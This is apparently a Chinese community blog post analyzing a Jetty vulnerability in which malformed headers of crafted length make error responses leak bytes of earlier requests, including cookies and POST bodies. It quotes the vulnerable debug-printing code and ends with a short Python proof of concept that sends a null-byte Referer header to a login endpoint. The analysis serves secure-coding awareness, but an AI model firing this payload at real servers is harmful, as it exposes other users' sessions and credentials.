该漏洞在中文社区已经有很好的帖子进行分析,参考阅读:
在修复 solo 时我重拾此问题,并进行了 POC。这个一个非常好的案例,提醒我们需在开发环节进行安全编码,考虑可能的漏洞。意识到业务代码部署运营阶段也会由中间件带来风险。
蓝色部分就是构造的非法数据,在抛出异常的时候 jetty 读完蓝色的数据,会继续读到绿色部分的 16 个字节,然后后面以“...”省略,再读取最后的 16 个字节。只要不断构造偏移不同长度的蓝色部分,就可以将黄色部分的数据依次读出,直到找到敏感数据:cookie、post 内容。
代码方面:
jetty 处理 request 和 head 时,会对异常的信息 buffer 打印出 debug 内容,由于采用了不合理的输出策略:如果此次的请求 bytebuffer 太少(即攻击者偏移构造特殊长度的 request),会从内存中泄露 16 字节(来自上一次的请求的 bytebuffer)。
972: ``private
static
void
appendDebugString(StringBuilder buf,ByteBuffer buffer)
973: {
[..snip..]
983: buf.append(“<<<”);
984: ``for
(``int
i = buffer.position(); i < buffer.limit(); i++)
985: {
986: appendContentChar(buf,buffer.get(i));
987: ``if
(i == buffer.position() + 16 &&
buffer.limit() > buffer.position() + 32)
988: {
989: buf.append(“…”);
990: i = buffer.limit() - 16;
991: }
992: }
993: buf.append(“>>>”);
994: ``int
limit = buffer.limit();
995: buffer.limit(buffer.capacity());
996: ``for
(``int
i = limit; i < buffer.capacity(); i++)
997: {
998: appendContentChar(buf,buffer.get(i));
999: ``if
(i == limit + 16 &&
buffer.capacity() > limit + 32)
1000: {
1001: buf.append(“…”);
1002: i = buffer.capacity() - 16;
1003: }
1004: }
1005: buffer.limit(limit);
1006: }
核心代码是 996 处,会打印 <<<+ 打印头 16 字节 +...+ 最后 16 字节 +>>>+16 字节 buffer+...+ 最后 16 字节,即{what_has_been_parsed}<<<{left_to_parse}>>>{old_buffer_seen_past_limit}
构思非常巧妙。
POC 方面,只有发送特定长度的异常 header,从返回的 response 里就可以获取到别人的 request 信息。
import httplib, urllib
conn = httplib.HTTPConnection("demo.xx.org:9000")
headers = {"Referer": chr(0)*500}
conn.request("POST", "/login", "", headers)
r1 = conn.getresponse()
print r1.status, r1.reason
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于